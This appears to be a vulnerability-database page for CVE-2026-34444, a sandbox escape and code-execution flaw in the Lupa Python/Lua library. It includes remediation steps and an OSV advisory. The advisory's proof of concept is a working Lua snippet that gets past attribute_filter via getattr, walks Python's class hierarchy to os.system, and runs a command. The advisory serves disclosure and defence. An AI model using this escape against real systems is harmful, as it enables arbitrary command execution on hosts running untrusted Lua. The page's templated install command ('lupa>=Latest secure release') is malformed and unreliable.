CVE-2026-34444: Lupa Remote Code Execution Vulnerability
HIGHCVE-2026-34444 is a HIGH (CVSS 10.0) remote code execution vulnerability (CWE-284: Improper Access Control) affecting Lupa libraries in the PyPI ecosystem. The issue involves lupa has a sandbox escape and rce due to incomplete attribute_filter enforcement in getattr / setattr. Remediation is available in the latest vendor maintenance releases.
CVE-2026-34444 at a Glance
Security Impact
CVSS: 10.0
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
How to Fix CVE-2026-34444
To remediate this vulnerability, upgrade all affected Lupa dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install lupa>=Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show lupa
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-34444, inspect your installed packages using pip:
pip show lupa
Analyze the terminal output to locate any version of Lupa in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: The pip show lupa command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In Lupa, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-34444 Affected Lupa Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
lupa
|
PyPI |
≤ 2.6
|
|
References
Frequently Asked Questions
What is CVE-2026-34444?
Which Lupa versions are affected?
What version fixes CVE-2026-34444?
Is lupa affected?
What is the CVSS score of CVE-2026-34444?
What CWE is associated with CVE-2026-34444?
How can I check PyPI dependencies for CVE-2026-34444?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-69v7-xpr6-6gjm",
"modified" : "2026-05-06T23:26:55Z",
"published" : "2026-04-07T15:48:13Z",
"aliases" : [ "CVE-2026-34444" ],
"summary" : "Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr",
"details" : "### Summary\nThe `attribute_filter` in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.\n\nHowever, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.\n\n### Details\nThe `attribute_filter` is meant to block access to attributes such as `__class__`, `__mro__`, and similar internal properties.\n\nIn practice, it only applies to direct attribute access:\n- `obj.attr` → filtered\n- `getattr(obj, \"attr\")` → not filtered\nBecause of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.\n\nAn attacker can use getattr to-\n- Access `__class__`\n- Walk the `__mro__` chain\n- Call `__subclasses__()`\n- Iterate over available classes\n- Find a function that exposes `__globals__`\n- Retrieve something like `os.system`\n\nAt that point, arbitrary command execution becomes straightforward.\n\nThis effectively breaks the security boundary that `attribute_filter` is expected to enforce.\n\n\n### PoC\nThe following example shows how the filter can be bypassed to execute `os.system`:'\n```\nimport lupa\nfrom lupa import LuaRuntime\n\ndef protected_attribute_filter(obj, attr_name, is_setting):\n if isinstance(attr_name, str) and attr_name.startswith('_'):\n raise AttributeError(f\"Access to '{attr_name}' is forbidden\")\n return attr_name\n\nlua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)\n\nclass UserProfile:\n def __init__(self, name): self.name = name\n\nlua.globals().user = UserProfile(\"test\")\n\nlua.execute(\"\"\"\nlocal py = python.builtins\nlocal getattr = py.getattr\nlocal setattr = py.setattr\n\nlocal cls = getattr(user, \"__class__\")\nlocal _, obj_cls = getattr(cls, \"__mro__\")\n\nlocal subs = getattr(obj_cls, \"__subclasses__\")()\nfor _, c in ipairs(subs) do\n if tostring(c):find(\"os._wrap_close\") then\n local system = getattr(getattr(c, \"__init__\"), \"__globals__\")[\"system\"]\n setattr(user, \"run\", system)\n user.run(\"id\")\n end\nend\n\"\"\")\n```\n\n\n### Impact\nAn attacker who can execute Lua code can:\n- Bypass the `attribute_filter`\n- Access Python internals\n- Traverse the object graph\n- Reach execution primitives\n\nThis leads to full sandbox escape and arbitrary command execution in the host Python process.\nAny application relying on `attribute_filter` as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the `register_builtins=False` option.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "lupa"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "2.6"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/scoder/lupa/security/advisories/GHSA-69v7-xpr6-6gjm"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34444"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/scoder/lupa"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-284", "CWE-693" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-07T15:48:13Z",
"nvd_published_at" : "2026-04-06T16:16:35Z"
}
}